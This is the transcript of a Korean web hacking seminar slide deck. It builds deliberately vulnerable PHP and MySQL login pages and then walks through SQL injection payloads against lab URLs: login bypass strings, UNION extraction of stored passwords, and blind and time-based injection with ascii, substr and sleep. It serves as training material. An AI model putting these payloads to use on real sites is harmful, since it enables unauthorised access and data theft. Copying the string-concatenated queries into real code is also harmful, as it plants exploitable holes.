web vulnerability seminar2

48
Web vulnerability seminar from make to exploit

Upload: sakuya-izayoi

Post on 23-Jun-2015

1.102 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Web vulnerability seminar2

Web vulnerability seminar

from make to exploit

Page 2: Web vulnerability seminar2

Contents

$ PHP + Source code auditing$ DB + SQLi$ XSS & CSRF$ Something Else$ Finish

Page 3: Web vulnerability seminar2

Login Page$ Login Process

<?$id = "justlife3";$pass = "password";if($id == $_GET[id] && $pass == $_GET[pw])

echo "Hello!";else

echo "You are not justlife3";?>

Page 4: Web vulnerability seminar2

DB

Column

Table

Row

Page 5: Web vulnerability seminar2

DB

기본 패스워드 : apmsetup

mysql –uroot -p

Page 6: Web vulnerability seminar2

패스워드 변경하고 가실게요$ UPDATE mysql.user SET

password=passowrd(‘ 사용할암호’ ) WHERE user=‘root’

$ 뜻을 알건 모르건 일단 바꾸고 봅시다 ..

Page 7: Web vulnerability seminar2

DB

$ 어떤 db 가 있나 보자> show databases;

$ db 를 사용하기 위해 선택하자 .> use database_name

>ex) use mysql;

Page 8: Web vulnerability seminar2

내 DB 만들기$ CREATE DATABASE db_name

> CREATE DATABASE webhacking;

$ CREATE TABLE table_name(column name type option,…)> CREATE TABLE member(

user_id varchar(20) NOT NULL,user_pw varchar(20) NOT NULL,nickname varchar(20),PRIMARY KEY(user_id));

Page 9: Web vulnerability seminar2
Page 10: Web vulnerability seminar2

값을 넣어보자 .$ INSERT INTO tablename values(a1,a2..);

> INSERT INTO account values(‘sakuya’,’1234’,’SAKUYA’);

$ INSERT INTO tablename(c1,c2..) values(a1,a2..);

> INSERT INTO member(user_id, user_pw, nickname) value(‘sakuya’,1234 , user_id);

Page 11: Web vulnerability seminar2

연달아서 입력$ INSERT INTO member values

('sakuya','1234','SAKUYA'),('fear2fear','4321','131ackcon'),('commio0','bluebit','redbit'),('python','URYY',user_id),('ruby',abs(-1234),'sapphire');

$ 함수 , 컬럼도 가능함

$ Mysql 주석 : #, --, /**/

Page 12: Web vulnerability seminar2

조회$ SELECT column FROM tablename

WHERE condition> SELECT nickname FROM member

WHERE user_id=‘sakuya’;

$ SELECT * FROM tablename WHERE contidion> SELECT * FROM member WHERE

user_id=‘sakuya’;

Page 13: Web vulnerability seminar2

결과

Page 14: Web vulnerability seminar2

PHP + SQL!

<?$ip = "127.0.0.1";$user = "root";$pass = “db_pass";$db = "webhacking";$conn = @mysql_connect($ip,$user,$pass);$dbs = @mysql_select_db($db);

?>

db_conn.php

Page 15: Web vulnerability seminar2

가입 페이지 만들기$ 가입 페이지의 개략적인 형태<?include ‘db_conn.php’

$inp_id = $_POST[id];$inp_pw= $_POST[pw];$inp_nick = $_POST[nick];

//Send to Mysql$query = ‘INSERT INTO account values

(‘.$inp_id.’,’.$inp_pw.’,’.$inp_nick.’)’?>

Page 16: Web vulnerability seminar2

로그인 페이지 만들기$ 로그인 페이지의 개략적인 형태<?include ‘db_conn.php’

$inp_id = $_GET[id];$inp_pw= $_GET[pw];

$query = ‘SELECT * FROM account WHERE user_id =’.$inp_id.’ and ‘.$inp_pw;

$row =mysql_fetch_array(mysql_query($query,$conn))if($row)

echo “Hello, ”$row[user_id];else

echo “Who are you?”?>web/2/login/join.php

web/2/login/_login.php

Page 17: Web vulnerability seminar2

$rowmysql_fetch_array?

$row = array(‘user_id’ =>’1’‘user_pw’ => ‘2’‘nickname’ =>’3’);

$row = array(‘1’,’2’,’3’);

PHP array = Python dictionary + list

Page 18: Web vulnerability seminar2

Injection?

Page 19: Web vulnerability seminar2

그래서 ?

Page 20: Web vulnerability seminar2

결론$ 무언가의 양식에 맞춰서 원하는 값을 넣는 것 .

$ SQL injection => SQL 구문에 맞게$ HTTP Header injection => HTTP 에

맞게$ Mail Header injection => Header 에

맞게

Page 21: Web vulnerability seminar2

응용해 봅시다 .$inp_id = $_POST[id];$inp_pw = $_POST[pw];

$q = 'SELECT * FROM login WHERE id="'.$inp_id.'" and pw="'.$inp_pw.'"';

$row = mysql_fetch_array(mysql_query($q,$conn));if($row){

if($row[id]=='admin')echo "Congraz! Key is ".$authKey."<br>";echo "Hello, ".$row[id]."<br>";

}else

echo "Who are you?";

192.168.0.69/web/2/bypass/login.php

Page 22: Web vulnerability seminar2

풀이SELECT * FROM login WHERE id="'.

$inp_id.'" "or 1=1#

and pw="'.$inp_pw.'"'

Page 23: Web vulnerability seminar2

Challenge! +10 분휴식

192.168.0.69/web/2/bypass/login2.php192.168.0.69/web/2/bypass/login3.php192.168.0.69/web/2/bypass/login4.php

Page 24: Web vulnerability seminar2

Login2

SELECT * FROM login WHERE id= ' and pw=md5(' $inp

') $inp '‘|| 1=1#

Page 25: Web vulnerability seminar2

Login3

SELECT * FROM login WHERE id= ' and pw=md5(' $inp

') $inp '‘|| id=“admin”#

Page 26: Web vulnerability seminar2

LIMIT

Page 27: Web vulnerability seminar2

Login3

SELECT * FROM login WHERE id= ' and pw=md5(' $inp

') $inp '‘||1=1 limit 2,1#

Page 28: Web vulnerability seminar2

Login4

SELECT * FROM login WHERE id=0x61646d696e

Page 29: Web vulnerability seminar2

Advanced Injection

$ 3 + 3 = ?$ abs(-60)+60 = ?$ ord(‘a’)+ord(‘a’) = ?

$ “” + “A” = ?

UNION

SELECT ‘A’ + SELECT ‘B’ = ?

Page 30: Web vulnerability seminar2

UNION

$ SELECT nick FROM membersUNIONSELECT pw FROM login

컬럼 개수가 맞아야 함

Page 31: Web vulnerability seminar2

알아야 될 정보들$ SELECT column FROM table

$ 다른 DB 의 정보를 조회 !

>SELECT column FROM dbname.table

SELECT table_name FROM information_schema.tables;

Page 32: Web vulnerability seminar2

INFORMATION_SCHEMA

$ Mysql 전용 !

Page 33: Web vulnerability seminar2

Do IT! show tables show columns

Page 34: Web vulnerability seminar2

최종web/2/adv/board/view.php?num=1union select 1,pw,3,4,5,NULL,7from board where no=5#

Page 35: Web vulnerability seminar2

Blind 방식$ if 문을 사용$ Sleep() 계열을 사용

Page 36: Web vulnerability seminar2

if 구문$ if( 조건 , 참 , 거짓 )$ if(1,1,0) -> 1 출력

Page 37: Web vulnerability seminar2

@_@ ㅋㅋㅋ$ if(ascii(substr((select table_name

from information_schema.tables limit 1,1),1,1))<0,5,3)

Page 38: Web vulnerability seminar2

분해 + 조립$ if(ascii(substr((select table_name from information_schema.tables limit

1,1),1,1))<0,5,3)

$ 초록 -> 주황 -> 빨강 -> 파랑

Page 39: Web vulnerability seminar2

SELECT 문$ (select table_name from

information_schema.tables limit 1,1)

$ information_scehma.tables 에서 ta-ble_name 을 조회하고 값을 하나 가져온다 .

Page 40: Web vulnerability seminar2

Substr 문$ substr(str,a,b)

> str 에서 a 번째 부터 b 번째 까지 문자를 가져온다 .

> python 의 str[a:b] 와 같음 .

Page 41: Web vulnerability seminar2

ascii 문$ ascii(a)

> a 의 값을 아스키코드로 변환해서 돌려줌 .> python 의 ord 와 같음

Page 42: Web vulnerability seminar2

ascii 의 값을$ if 로 넣어서 비교 .

> 그 이후 참 / 거짓에 따라서 값을 반환 .

if( <0,5,3)(select table_name from information_schema.tables limit 1,1)

substr( ,1,1)ascii( )COLLATIONS

Page 43: Web vulnerability seminar2

ascii 의 값을$ if 로 넣어서 비교 .

> 그 이후 참 / 거짓에 따라서 값을 반환 .

if( <0,5,3)substr( ,1,1)ascii( )COLLATIONS

Page 44: Web vulnerability seminar2

ascii 의 값을$ if 로 넣어서 비교 .

> 그 이후 참 / 거짓에 따라서 값을 반환 .

if( <0,5,3)ascii( )C 67

Page 45: Web vulnerability seminar2

ascii 의 값을$ if 로 넣어서 비교 .

> 그 이후 참 / 거짓에 따라서 값을 반환 .

if( <0,5,3)67

3

Page 46: Web vulnerability seminar2

DO IT!

$ if(ascii(substr((select table_name from information_schema.tables limit 1,1),1,1))<0,5,3)

Page 47: Web vulnerability seminar2

SLEEP?

$ if(ascii(substr((select table_name from information_schema.tables limit 1,1),1,1))<0,sleep(1),3)

$ 리턴시간을 보고 참 / 거짓을 판별

$ sleep( 인자 ) 를 엄청 크게 주면 서비스 안함 ..

Page 48: Web vulnerability seminar2

어떻게 할 것인가$ PHP.ini => magic_quoat 옵션 ON

> ‘, %00 등의 문자 앞에 \ 를 붙여서 스트링으로 인식하게 해줌

> magic_quoat 도 특수한 경우엔 우회가 가능함

$ Black List ? White list ?> ex) 숫자의 입력을 받는곳에 문자열의 입력은

필요없다 .